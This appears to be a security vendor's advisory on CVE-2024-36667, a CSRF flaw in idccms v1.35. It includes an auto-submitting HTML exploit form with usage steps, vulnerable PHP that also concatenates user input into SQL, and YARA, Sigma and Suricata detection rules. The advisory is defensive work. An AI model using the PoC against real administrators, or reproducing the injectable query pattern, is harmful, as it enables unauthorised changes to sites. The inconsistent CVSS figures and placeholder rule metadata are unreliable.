CVE-2024-36667

Executive Summary

CVE-2024-36667 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw exists in the /admin/idcProType_deal.php?mudi=add&nohrefStr=close component, allowing an attacker to perform unauthorized actions on behalf of an authenticated administrator. This can lead to unintended modifications to the CMS, such as adding or altering product types, without the victim's consent. The vulnerability has a low CVSS score due to the requirement for user interaction and limited impact, but it remains a significant risk in environments where administrative sessions are not properly protected.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP-based CMS (idccms) vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score: 4.3, Temporal: 3.9)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Low (due to user interaction requirement and limited impact)

Deep Dive & Mechanics

The vulnerability resides in the idcProType_deal.php script, specifically in the add action with the nohrefStr=close parameter. The script does not implement any anti-CSRF tokens or origin validation, making it susceptible to cross-site request forgery. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, triggers a request to the vulnerable endpoint, performing actions like adding a new product type.

The lack of CSRF protection means that any state-changing operation (e.g., adding, editing, deleting) can be hijacked. The nohrefStr=close parameter suggests a UI element that closes a modal or panel, but the underlying request is still processed without verification.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35):

// /admin/idcProType_deal.php
if ($_GET['mudi'] == 'add') {
    // No CSRF token check
    $name = $_POST['name'];
    $sql = "INSERT INTO idc_pro_type (name) VALUES ('$name')";
    mysqli_query($conn, $sql);
}

Patched Code (Hypothetical):

// /admin/idcProType_deal.php
session_start();
if ($_GET['mudi'] == 'add') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $name = mysqli_real_escape_string($conn, $_POST['name']);
    $sql = "INSERT INTO idc_pro_type (name) VALUES ('$name')";
    mysqli_query($conn, $sql);
}

Exploitation & Lab Setup

Red Team

Exploit PoC (HTML):

<html>
<body>
<form action="http://target.com/admin/idcProType_deal.php?mudi=add&nohrefStr=close" method="POST">
  <input type="hidden" name="name" value="MaliciousType">
  <input type="submit" value="Click me">
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

Usage: Host the HTML file on an attacker-controlled server. Send the link to an authenticated admin. When the admin visits the page, the form auto-submits, adding a new product type without their knowledge.

Blue Team

Detection Steps:

1. Monitor for unusual POST requests to /admin/idcProType_deal.php with mudi=add and nohrefStr=close.
2. Check for unexpected product type additions in the CMS logs.
3. Implement CSRF tokens and validate origin headers.

Indicators of Compromise (IOCs)

• Network: POST requests to /admin/idcProType_deal.php?mudi=add&nohrefStr=close from unexpected referers.
• Logs: Unauthorized addition of product types in the CMS admin logs.
• File: Suspicious entries in the idc_pro_type database table.

Detection Engineering

YARA Rule

rule idccms_csrf_cve_2024_36667 {
    meta:
        description = "Detects CSRF exploitation attempts against idccms v1.35"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-36667"
    strings:
        $s1 = "idcProType_deal.php" nocase
        $s2 = "mudi=add" nocase
        $s3 = "nohrefStr=close" nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploitation Attempt Against idccms
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to idccms admin endpoint with CSRF indicators
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/admin/idcProType_deal.php'
        cs-uri-query: 'mudi=add&nohrefStr=close'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF tokens are not implemented)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36667 idccms CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/idcProType_deal.php"; http.uri; content:"mudi=add"; http.uri; content:"nohrefStr=close"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Implement CSRF tokens for all state-changing operations in the admin panel.
2. Short-term: Validate the Origin and Referer headers on the server side.
3. Long-term: Upgrade to a patched version of idccms if available, or migrate to a more secure CMS.
4. Compensating Controls: Use Web Application Firewall (WAF) rules to block suspicious requests to the vulnerable endpoint.

Valters IT
Securing Digital Frontiers